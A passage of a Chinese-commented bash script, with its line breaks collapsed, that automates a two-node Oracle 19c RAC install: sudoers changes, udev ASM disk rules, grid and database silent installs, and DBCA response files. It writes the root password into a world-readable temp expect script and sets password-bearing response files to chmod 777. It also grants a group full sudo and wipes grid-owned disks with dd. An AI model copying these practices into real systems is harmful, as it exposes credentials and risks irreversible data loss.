权限:" >>$logfilecp /etc/sudoers /etc/sudoers_$(date +"%Y%m%d_%H%M%S") && sed -i '/oinstall/d' /etc/sudoers && sed -i '/^%wheel/a\%oinstall ALL=(ALL) ALL' /etc/sudoers && grep oinstall /etc/sudoersgrep oinstall /etc/sudoers >>$logfilescp /etc/sudoers $hostname2:/etc/ >>$logfileif [ $? -ne 0 ]; then result_err "# $hostname2 设置sudoers,授予oinstall组sudo ALL 权限, Failed" result_err "# $hostname2 设置sudoers,授予oinstall组sudo ALL 权限, Failed" >>$logfile exit 1else result_ok "# $hostname2 设置sudoers,授予oinstall组sudo ALL 权限, successful" result_ok "# $hostname2 设置sudoers,授予oinstall组sudo ALL 权限, successful" >>$logfilefi# 20. cvu 装置split1 "# 20. cvu 1节点装置,并传送2节点装置:"split1 "# 20. cvu 1节点装置,并传送2节点装置:" >>$logfileif [ -f $GI_HOME/cv/rpm/cvuqdisk*.rpm ]; then rpm -ivh $GI_HOME/cv/rpm/cvuqdisk*.rpm >>$logfile echo "# 2节点装置" >>$logfile scp $GI_HOME/cv/rpm/cvuqdisk*.rpm $hostname2:/tmp/ >>$logfile ssh $hostname2 rpm -ivh /tmp/cvuqdisk*.rpm >>$logfileelse result_err "# not found package cvuqdisk*.rpm" result_err "# not found package cvuqdisk*.rpm" >>$logfile exit 1fiif [ $? -ne 0 ]; then result_err "# cvu 1节点装置,并传送2节点装置, Failed" result_err "# cvu 1节点装置,并传送2节点装置, Failed" >>$logfile exit 1else result_ok "# cvu 1节点装置,并传送2节点装置, successful" result_ok "# cvu 1节点装置,并传送2节点装置, successful" >>$logfilefi# 21. asm 配置# ASM 磁盘组调配split1 "# 21. UDEV 配置磁盘,$hostname1:"split1 "# 21. UDEV 配置磁盘,$hostname1:" >>$logfile>/etc/udev/rules.d/99-oracle-asmdevices.rulesfor i in $asm_ocr_disks; do echo "KERNEL==\"${mapper_prefix}?\",SUBSYSTEM==\"block\", PROGRAM==\"/usr/lib/udev/scsi_id --whitelisted --replace-whitespace --device=$mapper_dir/\$name\",RESULT==\"$(/usr/lib/udev/scsi_id --whitelisted --replace-whitespace --device=$mapper_dir/${mapper_prefix}$i)\", SYMLINK+=\"asm_ocr_disk$i\",OWNER=\"grid\",ACTION==\"add|change\", GROUP=\"asmadmin\",MODE=\"0660\"" >>/etc/udev/rules.d/99-oracle-asmdevices.rules ocr_tmp=$(echo "$ocr_tmp""/dev/asm_ocr_disk$i,")doneexport ocr_fgs=$(echo $ocr_tmp | sed 's/,\//,,\//g')export ocr_diskgs=$(echo $ocr_tmp | sed 's/,$//')for i in $asm_fra_disks; do echo "KERNEL==\"${mapper_prefix}?\",SUBSYSTEM==\"block\", PROGRAM==\"/usr/lib/udev/scsi_id --whitelisted --replace-whitespace --device=$mapper_dir/\$name\",RESULT==\"$(/usr/lib/udev/scsi_id --whitelisted --replace-whitespace --device=$mapper_dir/${mapper_prefix}$i)\", SYMLINK+=\"asm_fra_disk$i\",OWNER=\"grid\",ACTION==\"add|change\", GROUP=\"asmadmin\",MODE=\"0660\"" >>/etc/udev/rules.d/99-oracle-asmdevices.rules fra_tmp=$(echo "$fra_tmp""/dev/asm_fra_disk$i,")doneexport fra_fgs=$(echo $fra_tmp | sed 's/,\//,,\//g')export fra_diskgs=$(echo $fra_tmp | sed 's/,$//')for i in $asm_data_disks; do echo "KERNEL==\"${mapper_prefix}?\",SUBSYSTEM==\"block\", PROGRAM==\"/usr/lib/udev/scsi_id --whitelisted --replace-whitespace --device=$mapper_dir/\$name\",RESULT==\"$(/usr/lib/udev/scsi_id --whitelisted --replace-whitespace --device=$mapper_dir/${mapper_prefix}$i)\", SYMLINK+=\"asm_data_disk$i\",OWNER=\"grid\",ACTION==\"add|change\", GROUP=\"asmadmin\",MODE=\"0660\"" >>/etc/udev/rules.d/99-oracle-asmdevices.rules data_tmp=$(echo "$data_tmp""/dev/asm_data_disk$i,")doneexport data_fgs=$(echo $data_tmp | sed 's/,\//,,\//g')export data_diskgs=$(echo $data_tmp | sed 's/,$//')systemctl restart systemd-udev-trigger.service >>$logfileudevadm control --reload-rules >>$logfileudevadm trigger --type=devices >>$logfileudevadm trigger --type=devices --action=change >>$logfilesleep 10ls -l /dev/ | grep asm >>$logfileif [ $(ssh $hostname1 ls /dev/asm* | wc -l) -lt 5 ]; then result_err "# $hostname1 UDEV 配置磁盘, Failed" result_err "# $hostname1 UDEV 配置磁盘, Failed" >>$logfile echo "$(ssh $hostname1 ls /dev/asm*)" echo "$(ssh $hostname1 ls /dev/asm*)" >>$logfile exit 1else result_ok "# $hostname1 UDEV 配置磁盘, successful" result_ok "# $hostname1 UDEV 配置磁盘, successful" >>$logfile echo "$(ssh $hostname1 ls /dev/asm*)" echo "$(ssh $hostname1 ls /dev/asm*)" >>$logfilefiecho "# $hostname2 UDEV 配置磁盘"echo "# $hostname2 UDEV 配置磁盘" >>$logfilescp /etc/udev/rules.d/99-oracle-asmdevices.rules $hostname2:/etc/udev/rules.d/ >>$logfileecho "systemctl restart systemd-udev-trigger.service;udevadm control --reload-rules;udevadm trigger --type=devices;udevadm trigger --type=devices --action=change;sleep 10;exit"|ssh $hostname2 >>$logfileif [ $(ssh $hostname2 ls /dev/asm* | wc -l) -lt 5 ]; then result_err "# $hostname2 UDEV 配置磁盘, Failed" echo "$(ssh $hostname2 ls /dev/asm*)" result_err "# $hostname2 UDEV 配置磁盘, Failed" >>$logfile echo "$(ssh $hostname2 ls /dev/asm*)" >>$logfile exit 1else result_ok "# $hostname2 UDEV 配置磁盘, successful" echo "$(ssh $hostname2 ls /dev/asm*)" result_ok "# $hostname2 UDEV 配置磁盘, successful" >>$logfile echo "$(ssh $hostname2 ls /dev/asm*)" >>$logfilefi# 格式化磁盘if [ $need_format == "y" ] || [ $need_format == "Y" ];then for i in $(ls -l /dev | grep grid | awk '{print $NF}'); do cnt=$(lsblk -b | grep -w $i | awk '{print $4/1024/1024}') echo -e "\n# 开始格式化 /dev/$i, 大小:${cnt}MB ..." echo "dd if=/dev/zero of=/dev/$i bs=1M count=$cnt" dd if=/dev/zero of=/dev/$i bs=1M count=$cnt echo "# 格式化 /dev/$i 实现" done if [ -z $i ];then result_err "# You need to format the disk, but did not execute it. Please check it." result_err "# You need to format the disk, but did not execute it. Please check it." >>$logfile exit 1 fifi# 22. 预查看split1 "# 22. grid 装置预查看(仅节点1运行):"split1 "# 22. grid 装置预查看(仅节点1运行):" >>$logfileif [ "$(hostname)" == "$hostname1" ]; then echo '#!/usr/bin/expect -f' >/tmp/precheck.sh echo "spawn $GI_HOME/runcluvfy.sh stage -pre crsinst -n $hostname1,$hostname2 -fixup -verbose -method rootexpect { \"*assword:\" {send \"$rootpw\r\";exp_continue} \"*again:\" {send \"$rootpw\r\"}}expect eof" >>/tmp/precheck.sh chmod 777 /tmp/precheck.sh su - grid -c "expect /tmp/precheck.sh" >>$logfile if [ $? -ne 0 ]; then result_err "# grid 装置预查看(仅节点1运行), Failed" result_err "# grid 装置预查看(仅节点1运行), Failed" >>$logfile exit 1 else result_ok "# grid 装置预查看(仅节点1运行), successful" result_ok "# grid 装置预查看(仅节点1运行), successful" >>$logfile fifi# 23. grid 软件装置split1 "# 23. grid 软件装置(仅节点1运行):"split1 "# 23. grid 软件装置(仅节点1运行):" >>$logfile# $ sed -e 's/[\t ]\+$//' gridsetup.rsp | egrep -v "^$|^#|=$"# oracle.install.responseFileVersion=/oracle/install/rspfmt_crsinstall_response_schema_v19.0.0# INVENTORY_LOCATION=/u01/app/oraInventory# oracle.install.option=CRS_CONFIG# ORACLE_BASE=/u01/app/grid# oracle.install.asm.OSDBA=asmdba# oracle.install.asm.OSOPER=asmoper# oracle.install.asm.OSASM=asmadmin# oracle.install.crs.config.scanType=LOCAL_SCAN# oracle.install.crs.config.gpnp.scanName=Jeff-Test-SCAN# oracle.install.crs.config.gpnp.scanPort=1525# oracle.install.crs.config.ClusterConfiguration=STANDALONE# oracle.install.crs.config.configureAsExtendedCluster=false# oracle.install.crs.config.clusterName=Jeff-Test# oracle.install.crs.config.gpnp.configureGNS=false# oracle.install.crs.config.autoConfigureClusterNodeVIP=false# oracle.install.crs.config.clusterNodes=Ora-Jeff-Test-Prod-RAC1:Jeff-Test-VIP1:HUB,Ora-Jeff-Test-Prod-RAC2:Jeff-Test-VIP2:HUB# oracle.install.crs.config.networkInterfaceList=Bond0:10.10.164.0:1,Bond1:11.11.11.0:5# oracle.install.crs.configureGIMR=false# oracle.install.asm.configureGIMRDataDG=false# oracle.install.crs.config.storageOption=FLEX_ASM_STORAGE# oracle.install.asm.SYSASMPassword=Oracle_19C# oracle.install.crs.config.useIPMI=false# oracle.install.asm.storageOption=ASM# oracle.install.asm.diskGroup.name=OCR# oracle.install.asm.diskGroup.redundancy=NORMAL# oracle.install.asm.diskGroup.AUSize=4# oracle.install.asm.diskGroup.disksWithFailureGroupNames=/dev/asm_ocr_diska,,/dev/asm_ocr_diskb,,/dev/asm_ocr_diskc,# oracle.install.asm.diskGroup.disks=/dev/asm_ocr_diska,/dev/asm_ocr_diskb,/dev/asm_ocr_diskc# oracle.install.asm.diskGroup.diskDiscoveryString=/dev/asm*# oracle.install.asm.monitorPassword=Oracle_19C# oracle.install.asm.gimrDG.AUSize=1# oracle.install.asm.configureAFD=false# oracle.install.crs.configureRHPS=false# oracle.install.crs.config.ignoreDownNodes=false# oracle.install.config.managementOption=NONE# oracle.install.config.omsPort=0# oracle.install.crs.rootconfig.executeRootScript=falseif [ -f ${GI_HOME}/gridSetup.sh ] && [ "$(hostname)" == "$hostname1" ]; then cat >/tmp/gridsetup.rsp <<gridsetuprsporacle.install.responseFileVersion=/oracle/install/rspfmt_crsinstall_response_schema_v19.0.0INVENTORY_LOCATION=$ORA_INVoracle.install.option=CRS_CONFIGORACLE_BASE=$GI_BASEoracle.install.asm.OSDBA=asmdbaoracle.install.asm.OSOPER=asmoperoracle.install.asm.OSASM=asmadminoracle.install.crs.config.scanType=LOCAL_SCANoracle.install.crs.config.gpnp.scanName=$SCANNAMEoracle.install.crs.config.gpnp.scanPort=$scanPortoracle.install.crs.config.ClusterConfiguration=STANDALONEoracle.install.crs.config.configureAsExtendedCluster=falseoracle.install.crs.config.clusterName=$cluster_nameoracle.install.crs.config.gpnp.configureGNS=falseoracle.install.crs.config.autoConfigureClusterNodeVIP=falseoracle.install.crs.config.clusterNodes=$hostname1:$VIP1NAME:HUB,$hostname2:$VIP2NAME:HUBoracle.install.crs.config.networkInterfaceList=$pub_netcard:$scan_subnet:1,$priv_netcard:$priv_subnet:5oracle.install.crs.configureGIMR=falseoracle.install.asm.configureGIMRDataDG=falseoracle.install.crs.config.storageOption=FLEX_ASM_STORAGEoracle.install.asm.SYSASMPassword=$db_admin_pwdoracle.install.crs.config.sharedFileSystemStorage.ocrLocations=oracle.install.crs.config.useIPMI=falseoracle.install.asm.storageOption=ASMoracle.install.asm.diskGroup.name=${asm_ocr_dir}oracle.install.asm.diskGroup.redundancy=NORMALoracle.install.asm.diskGroup.AUSize=4oracle.install.asm.diskGroup.disksWithFailureGroupNames=$ocr_fgsoracle.install.asm.diskGroup.disks=$ocr_diskgsoracle.install.asm.diskGroup.diskDiscoveryString=/dev/asm*oracle.install.asm.monitorPassword=$db_admin_pwdoracle.install.asm.gimrDG.AUSize=1oracle.install.asm.configureAFD=falseoracle.install.crs.configureRHPS=falseoracle.install.crs.config.ignoreDownNodes=falseoracle.install.config.managementOption=NONEoracle.install.config.omsPort=0oracle.install.crs.rootconfig.executeRootScript=falseoracle.install.crs.rootconfig.configMethod=gridsetuprsp chmod 777 /tmp/gridsetup.rsp# echo '#!/usr/bin/expect -f' >/tmp/grid_install.sh# echo "spawn su - grid -c \"${GI_HOME}/gridSetup.sh -silent -ignorePrereqFailure -responseFile /tmp/gridsetup.rsp -applyRU $RUs\"#expect {# \"*assword:\" {send \"$rootpw\r\"}#}#expect eof" >>/tmp/grid_install.sh# chmod 777 /tmp/grid_install.sh echo -e "# 开始应用rsp响应文件装置grid软件\n命令: ${GI_HOME}/gridSetup.sh -silent -ignorePrereqFailure -waitforcompletion -responseFile /tmp/gridsetup.rsp -applyRU $RUs\n响应文件内容:\n$(cat /tmp/gridsetup.rsp)" echo -e "# 开始应用rsp响应文件装置grid软件\n命令: ${GI_HOME}/gridSetup.sh -silent -ignorePrereqFailure -waitforcompletion -responseFile /tmp/gridsetup.rsp -applyRU $RUs\n响应文件内容:\n$(cat /tmp/gridsetup.rsp)" >>$logfile# expect /tmp/grid_install.sh >>$logfile su - grid -c "${GI_HOME}/gridSetup.sh -silent -ignorePrereqFailure -waitforcompletion -responseFile /tmp/gridsetup.rsp -applyRU $RUs" >>$logfile sleep 10 if [ $(tail -20 $logfile | grep orainstRoot | wc -l) -lt 1 ];then result_err "# ${GI_HOME}/gridSetup.sh -silent Failed" result_err "# ${GI_HOME}/gridSetup.sh -silent Failed" >>$logfile exit 1 else result_ok "# Grid 软件装置 ${GI_HOME}/gridSetup.sh -silent successful" result_ok "# Grid 软件装置 ${GI_HOME}/gridSetup.sh -silent successful" >>$logfile fi if [ -f $ORA_INV/orainstRoot.sh ] && [ -f $GI_HOME/root.sh ];then echo "# $ORA_INV/orainstRoot.sh;$GI_HOME/root.sh 执行(节点1运行) " >>$logfile sh $ORA_INV/orainstRoot.sh >>$logfile sh $GI_HOME/root.sh >>$logfile if [ $? -ne 0 ]; then result_err "# $ORA_INV/orainstRoot.sh;$GI_HOME/root.sh 执行(节点1运行) Failed" result_err "# $ORA_INV/orainstRoot.sh;$GI_HOME/root.sh 执行(节点1运行) Failed" >>$logfile exit 1 else result_ok "# $ORA_INV/orainstRoot.sh;$GI_HOME/root.sh 执行(节点1运行) successful" result_ok "# $ORA_INV/orainstRoot.sh;$GI_HOME/root.sh 执行(节点1运行) successful" >>$logfile if [ "$db_type" == "RAC" ] && [ -n $hostname2 ];then echo "# $ORA_INV/orainstRoot.sh;$GI_HOME/root.sh 开始执行(ssh节点2运行)" echo "# $ORA_INV/orainstRoot.sh;$GI_HOME/root.sh 开始执行(ssh节点2运行)" >>$logfile ssh $hostname2 $ORA_INV/orainstRoot.sh >>$logfile ssh $hostname2 $GI_HOME/root.sh >>$logfile if [ $? -ne 0 ]; then result_err "# $ORA_INV/orainstRoot.sh;$GI_HOME/root.sh 执行(节点2运行) Failed" result_err "# $ORA_INV/orainstRoot.sh;$GI_HOME/root.sh 执行(节点2运行) Failed" >>$logfile exit 1 else result_ok "# $ORA_INV/orainstRoot.sh;$GI_HOME/root.sh 执行(节点2运行) successful" result_ok "# $ORA_INV/orainstRoot.sh;$GI_HOME/root.sh 执行(节点2运行) successful" >>$logfile fi else result_err "# $ORA_INV/orainstRoot.sh;$GI_HOME/root.sh 节点2未运行" result_err "# $ORA_INV/orainstRoot.sh;$GI_HOME/root.sh 节点2未运行" >>$logfile exit fi fi else result_err "# $ORA_INV/orainstRoot.sh or $GI_HOME/root.sh file can not found" result_err "# $ORA_INV/orainstRoot.sh or $GI_HOME/root.sh file can not found" >>$logfile exit 1 fi if [ $? -ne 0 ]; then result_err "# grid 软件装置 Failed" result_err "# grid 软件装置 Failed" >>$logfile exit 1 else result_ok "# grid 软件装置 successful" result_ok "# grid 软件装置 successful" >>$logfile fielse result_err "# ${GI_HOME}/gridSetup.sh not found" result_err "# ${GI_HOME}/gridSetup.sh not found" >>$logfile exit 1fi# As a root user, execute the following script(s):# 1. /u01/app/oraInventory/orainstRoot.sh --> $ORA_INV/orainstRoot.sh# 2. /u01/app/19.3.0/grid/root.sh --> $GI_HOME/root.sh# # Execute /u01/app/oraInventory/orainstRoot.sh on the following nodes:# [Jeff-Test-RAC01, Jeff-Test-RAC02]# Execute /u01/app/19.3.0/grid/root.sh on the following nodes:# [Jeff-Test-RAC01, Jeff-Test-RAC02]# # Run the script on the local node first. After successful completion, you can start the script in parallel on all other nodes.# # Successfully Setup Software with warning(s).# As install user, execute the following command to complete the configuration.# /u01/app/19.3.0/grid/gridSetup.sh -executeConfigTools -responseFile /tmp/gridsetup.rsp [-silent]# 24. ASM 磁盘组增加split1 "# 24. ASM 磁盘组增加 ${asm_fra_dir} \ ${asm_data_dir}(仅节点1运行):"split1 "# 24. ASM 磁盘组增加 ${asm_fra_dir} \ ${asm_data_dir}(仅节点1运行):" >>$logfileif [ -n $fra_diskgs ]; then echo -e "# 增加 ${asm_fra_dir} 执行命令:\nsu - grid -c \"asmca -silent -sysAsmPassword $db_admin_pwd -createDiskGroup -diskString '/dev/asm*' -diskGroupName ${asm_fra_dir} -diskList '$fra_diskgs' -redundancy EXTERNAL -au_size 4\"" echo -e "# 增加 ${asm_fra_dir} 执行命令:\nsu - grid -c \"asmca -silent -sysAsmPassword $db_admin_pwd -createDiskGroup -diskString '/dev/asm*' -diskGroupName ${asm_fra_dir} -diskList '$fra_diskgs' -redundancy EXTERNAL -au_size 4\"" >>$logfile su - grid -c "asmca -silent -sysAsmPassword $db_admin_pwd -createDiskGroup -diskString '/dev/asm*' -diskGroupName ${asm_fra_dir} -diskList '$fra_diskgs' -redundancy EXTERNAL -au_size 4" >>$logfile if [ $? -ne 0 ]; then result_err "# ASM 磁盘组增加 ${asm_fra_dir}, Failed" result_err "# ASM 磁盘组增加 ${asm_fra_dir}, Failed" >>$logfile exit 1 else result_ok "# ASM 磁盘组增加 ${asm_fra_dir}, successful" result_ok "# ASM 磁盘组增加 ${asm_fra_dir}, successful" >>$logfile fielse echo "# No ${asm_fra_dir} Disk input, \$$fra_diskgs:$$fra_diskgs"fiif [ -n $data_diskgs ]; then echo -e "\n# 增加 ${asm_data_dir} 执行命令:\nsu - grid -c \"asmca -silent -sysAsmPassword $db_admin_pwd -createDiskGroup -diskString '/dev/asm*' -diskGroupName ${asm_data_dir} -diskList '$data_diskgs' -redundancy EXTERNAL -au_size 4\"" echo -e "\n# 增加 ${asm_data_dir} 执行命令:\nsu - grid -c \"asmca -silent -sysAsmPassword $db_admin_pwd -createDiskGroup -diskString '/dev/asm*' -diskGroupName ${asm_data_dir} -diskList '$data_diskgs' -redundancy EXTERNAL -au_size 4\"" >>$logfile su - grid -c "asmca -silent -sysAsmPassword $db_admin_pwd -createDiskGroup -diskString '/dev/asm*' -diskGroupName ${asm_data_dir} -diskList '$data_diskgs' -redundancy EXTERNAL -au_size 4" >>$logfile if [ $? -ne 0 ]; then result_err "# ASM 磁盘组增加 ${asm_data_dir}, Failed" result_err "# ASM 磁盘组增加 ${asm_data_dir}, Failed" >>$logfile exit 1 else result_ok "# ASM 磁盘组增加 ${asm_data_dir}, successful" result_ok "# ASM 磁盘组增加 ${asm_data_dir}, successful" >>$logfile fielse echo "# No ${asm_data_dir} Disk input, \$data_diskgs:$data_diskgs"fi# 25. DB 软件装置split1 "# 25. DB 软件装置(仅节点1运行):"split1 "# 25. DB 软件装置(仅节点1运行):" >>$logfile# $ sed -e 's/[\t ]\+$//' db_install_manual.rsp | egrep -v "^$|^#|=$"# oracle.install.responseFileVersion=/oracle/install/rspfmt_dbinstall_response_schema_v19.0.0# oracle.install.option=INSTALL_DB_SWONLY# UNIX_GROUP_NAME=oinstall# INVENTORY_LOCATION=/u01/app/oraInventory# ORACLE_BASE=/u01/app/oracle# oracle.install.db.InstallEdition=EE# oracle.install.db.OSDBA_GROUP=dba# oracle.install.db.OSOPER_GROUP=oper# oracle.install.db.OSBACKUPDBA_GROUP=backupdba# oracle.install.db.OSDGDBA_GROUP=dgdba# oracle.install.db.OSKMDBA_GROUP=kmdba# oracle.install.db.OSRACDBA_GROUP=racdba# oracle.install.db.rootconfig.executeRootScript=false# oracle.install.db.CLUSTER_NODES=ora-Jeff-Test-prod-rac1,ora-Jeff-Test-prod-rac2# oracle.install.db.config.starterdb.type=GENERAL_PURPOSE# oracle.install.db.ConfigureAsContainerDB=false# oracle.install.db.config.starterdb.memoryOption=false# oracle.install.db.config.starterdb.installExampleSchemas=false# oracle.install.db.config.starterdb.managementOption=DEFAULT# oracle.install.db.config.starterdb.omsPort=0# oracle.install.db.config.starterdb.enableRecovery=falsecat >/tmp/db_install.rsp<<dbinstoracle.install.responseFileVersion=/oracle/install/rspfmt_dbinstall_response_schema_v19.0.0oracle.install.option=INSTALL_DB_SWONLYUNIX_GROUP_NAME=oinstallINVENTORY_LOCATION=$ORA_INVORACLE_HOME=$ORA_HOMEORACLE_BASE=$ORA_BASEoracle.install.db.InstallEdition=EEoracle.install.db.OSDBA_GROUP=dbaoracle.install.db.OSOPER_GROUP=operoracle.install.db.OSBACKUPDBA_GROUP=backupdbaoracle.install.db.OSDGDBA_GROUP=dgdbaoracle.install.db.OSKMDBA_GROUP=kmdbaoracle.install.db.OSRACDBA_GROUP=racdbaoracle.install.db.CLUSTER_NODES=$hostname1,$hostname2oracle.install.db.config.starterdb.type=GENERAL_PURPOSEoracle.install.db.isRACOneInstall=falseoracle.install.db.rac.serverpoolCardinality=0oracle.install.db.ConfigureAsContainerDB=false# oracle.install.db.config.starterdb.memoryOption=false# oracle.install.db.config.starterdb.installExampleSchemas=false# oracle.install.db.config.starterdb.managementOption=DEFAULT# oracle.install.db.config.starterdb.omsPort=0# oracle.install.db.config.starterdb.enableRecovery=falseoracle.install.db.rootconfig.executeRootScript=falseSECURITY_UPDATES_VIA_MYORACLESUPPORT=falseDECLINE_SECURITY_UPDATES=truedbinstchmod 777 /tmp/db_install.rspif [ -f $ORA_HOME/runInstaller ]; then echo -e "# 执行 DB 软件装置命令:\nsu - oracle -c \"$ORA_HOME/runInstaller -silent -force -noconfig -ignorePrereq -responseFile /tmp/db_install.rsp -applyRU $RUs\"" echo -e "# 执行 DB 软件装置命令:\nsu - oracle -c \"$ORA_HOME/runInstaller -silent -force -noconfig -ignorePrereq -responseFile /tmp/db_install.rsp -applyRU $RUs\"" >>$logfile su - oracle -c "$ORA_HOME/runInstaller -silent -force -noconfig -ignorePrereq -responseFile /tmp/db_install.rsp -applyRU $RUs" >>$logfile sleep 10 if [ $(tail -20 $logfile | grep root.sh | wc -l) -lt 1 ];then result_err "# $ORA_HOME/runInstaller -silent Failed" result_err "# $ORA_HOME/runInstaller -silent Failed" >>$logfile exit 1 else result_ok "# $ORA_HOME/runInstaller -silent successful" result_ok "# $ORA_HOME/runInstaller -silent successful" >>$logfile fi echo "# root 执行脚本 $ORA_HOME/root.sh (节点1运行)" echo "# root 执行脚本 $ORA_HOME/root.sh (节点1运行)" >>$logfile $ORA_HOME/root.sh >>$logfile if [ $? -ne 0 ]; then result_err "# root 执行脚本 $ORA_HOME/root.sh (节点1运行) Failed" result_err "# root 执行脚本 $ORA_HOME/root.sh (节点1运行) Failed" >>$logfile exit 1 else result_ok "# root 执行脚本 $ORA_HOME/root.sh (节点1运行) successful" result_ok "# root 执行脚本 $ORA_HOME/root.sh (节点1运行) successful" >>$logfile if [ "$db_type" == "RAC" ] && [ -n $hostname2 ]; then echo -e "\n# root 执行脚本 $ORA_HOME/root.sh (节点2运行)" echo -e "\n# root 执行脚本 $ORA_HOME/root.sh (节点2运行)" >>$logfile $ORA_HOME/root.sh >>$logfile fi fi if [ $? -ne 0 ]; then result_err "# DB 软件装置 Failed" result_err "# DB 软件装置 Failed" >>$logfile exit 1 else result_ok "# DB 软件装置 successful" result_ok "# DB 软件装置 successful" >>$logfile fielse result_err "# $ORA_HOME/runInstaller file not found" result_err "# $ORA_HOME/runInstaller file not found" >>$logfile exit 1fi# 26. DBCA 创立数据库split1 "# 26 DBCA 创立数据库(仅节点1运行):"split1 "# 26 DBCA 创立数据库(仅节点1运行):" >>$logfile# $ sed -e 's/[\t ]\+$//' dbca_MANUAL.rsp | egrep -v "^$|^#|=$"# responseFileVersion=/oracle/assistants/rspfmt_dbca_response_schema_v12.2.0# gdbName=JeffTest# sid=Jeff0# databaseConfigType=RAC# policyManaged=false# createServerPool=false# force=false# createAsContainerDatabase=true# numberOfPDBs=1# pdbName=Jeff_pdb# useLocalUndoForPDBs=true# nodelist=jeff-test-rac01,jeff-test-rac02# templateName=/u01/app/oracle/product/19.3.0/db_1/assistants/dbca/templates/New_Database.dbt# emExpressPort=5500# runCVUChecks=TRUE# omsPort=0# dvConfiguration=false# olsConfiguration=false# datafileJarLocation={ORACLE_HOME}/assistants/dbca/templates/# datafileDestination=+DATA/{DB_UNIQUE_NAME}/# recoveryAreaDestination=+FRA# storageType=ASM# diskGroupName=+DATA/{DB_UNIQUE_NAME}/# recoveryGroupName=+FRA# characterSet=AL32UTF8# nationalCharacterSet=UTF8# registerWithDirService=false# skipListenerRegistration=true# variables=ORACLE_BASE_HOME=/u01/app/oracle/product/19.3.0/db_1,DB_UNIQUE_NAME=JeffTest,ORACLE_BASE=/u01/app/oracle,PDB_NAME=,DB_NAME=Jeff,ORACLE_HOME=/u01/app/oracle/product/19.3.0/db_1,SID=Jeff0# initParams=Jeff01.undo_tablespace=UNDOTBS1,Jeff02.undo_tablespace=UNDOTBS2,enable_pluggable_database=true,sga_target=1824MB,db_block_size=8192BYTES,cluster_database=true,standby_file_management=AUTO,family:dw_helper.instance_mode=read-only,log_archive_dest_1='LOCATION=+FRA',nls_language=AMERICAN,filesystemio_options=SETALL,dispatchers=(PROTOCOL=TCP) (SERVICE=Jeff0XDB),diagnostic_dest={ORACLE_BASE},remote_login_passwordfile=exclusive,db_create_file_dest=+DATA/{DB_UNIQUE_NAME}/,db_create_online_log_dest_2=+FRA,db_create_online_log_dest_1=+DATA,nls_date_format="YYYY/MM/DD HH24:MI:SS",parallel_force_local=TRUE,audit_file_dest={ORACLE_BASE}/admin/{DB_UNIQUE_NAME}/adump,processes=5000,pga_aggregate_target=609MB,Jeff01.thread=1,Jeff02.thread=2,nls_territory=AMERICA,undo_retention=10800,session_cached_cursors=200,local_listener=-oraagent-dummy-,db_recovery_file_dest_size=18000MB,db_unique_name=JeffTest,optimizer_adaptive_plans=FALSE,open_cursors=1000,control_file_record_keep_time=31,log_archive_format=arch_%t_%s_%r.arc,compatible=19.0.0,sga_max_size=1000MB,db_name=Jeff,archive_lag_target=1800,result_cache_max_size=0MB,db_files=2000,enable_ddl_logging=TRUE,Jeff01.instance_number=1,Jeff02.instance_number=2,db_recovery_file_dest=+FRA,audit_trail=db# sampleSchema=false# memoryPercentage=40# databaseType=MULTIPURPOSE# automaticMemoryManagement=false# totalMemory=0cat >/tmp/dbca.rsp<<dbcarspresponseFileVersion=/oracle/assistants/rspfmt_dbca_response_schema_v12.2.0gdbName=$DB_UNIQUE_NAMEsid=$ORA_SID_PREFIXdatabaseConfigType=RACRACOneNodeServiceName=policyManaged=falsecreateServerPool=falseforce=falsecreateAsContainerDatabase=truenumberOfPDBs=1pdbName=$PDB_SIDuseLocalUndoForPDBs=truepdbAdminPassword=$ORAPWDnodelist=$hostname1,$hostname2templateName=$ORA_HOME/assistants/dbca/templates/New_Database.dbtsysPassword=$ORAPWDsystemPassword=$ORAPWDserviceUserPassword=$ORAPWDemConfiguration=emExpressPort=5500runCVUChecks=TRUEdbsnmpPassword=$ORAPWDomsPort=0dvConfiguration=falseolsConfiguration=falsedatafileJarLocation={ORACLE_HOME}/assistants/dbca/templates/datafileDestination=+${asm_data_dir}/{DB_UNIQUE_NAME}/recoveryAreaDestination=+${asm_fra_dir}storageType=ASMdiskGroupName=+${asm_data_dir}/{DB_UNIQUE_NAME}/asmsnmpPassword=$ORAPWDrecoveryGroupName=+${asm_fra_dir}characterSet=AL32UTF8nationalCharacterSet=UTF8registerWithDirService=falseskipListenerRegistration=truevariables=ORACLE_BASE_HOME=$ORA_HOME,DB_UNIQUE_NAME=$DB_UNIQUE_NAME,ORACLE_BASE=$ORA_BASE,PDB_NAME=$PDB_SID,DB_NAME=$DB_NAME,ORACLE_HOME=$ORA_HOME,SID=$ORA_SID_PREFIXinitParams=$ORA_SID1.undo_tablespace=UNDOTBS1,$ORA_SID2.undo_tablespace=UNDOTBS2,enable_pluggable_database=true,sga_target=$sgasize,db_block_size=8192BYTES,cluster_database=true,standby_file_management=AUTO,family:dw_helper.instance_mode=read-only,log_archive_dest_1='LOCATION=+${asm_fra_dir}',nls_language=AMERICAN,filesystemio_options=SETALL,dispatchers=(PROTOCOL=TCP) (SERVICE=${ORA_SID_PREFIX}XDB),diagnostic_dest={ORACLE_BASE},remote_login_passwordfile=exclusive,db_create_file_dest=+${asm_data_dir}/{DB_UNIQUE_NAME}/,db_create_online_log_dest_2=+${asm_fra_dir},db_create_online_log_dest_1=+${asm_data_dir},nls_date_format="YYYY/MM/DD HH24:MI:SS",parallel_force_local=TRUE,audit_file_dest={ORACLE_BASE}/admin/{DB_UNIQUE_NAME}/adump,processes=$processes,pga_aggregate_target=$pgasize,$ORA_SID1.thread=1,$ORA_SID2.thread=2,nls_territory=AMERICA,undo_retention=10800,session_cached_cursors=200,local_listener=-oraagent-dummy-,db_recovery_file_dest_size=$recovery_size,db_unique_name=$DB_UNIQUE_NAME,optimizer_adaptive_plans=FALSE,open_cursors=1000,max_dump_file_size='1024m',control_file_record_keep_time=31,log_archive_format=arch_%t_%s_%r.arc,compatible=19.0.0,sga_max_size=$sga_max_size,db_name=$DB_NAME,archive_lag_target=1800,result_cache_max_size=0MB,db_files=2000,enable_ddl_logging=TRUE,$ORA_SID1.instance_number=1,$ORA_SID2.instance_number=2,db_recovery_file_dest=+${asm_fra_dir},audit_trail=dbsampleSchema=falsememoryPercentage=40databaseType=MULTIPURPOSEautomaticMemoryManagement=falsetotalMemory=0dbcarspchmod 777 /tmp/dbca.rspif [ $needcdb != "y" ] && [ $needcdb != "Y" ];then echo "# Do not need CDB" sed -i 's/createAsContainerDatabase=true/createAsContainerDatabase=false/g' /tmp/dbca.rspelif [ $needpdb != "y" ] && [ $needpdb != "Y" ];then sed -i 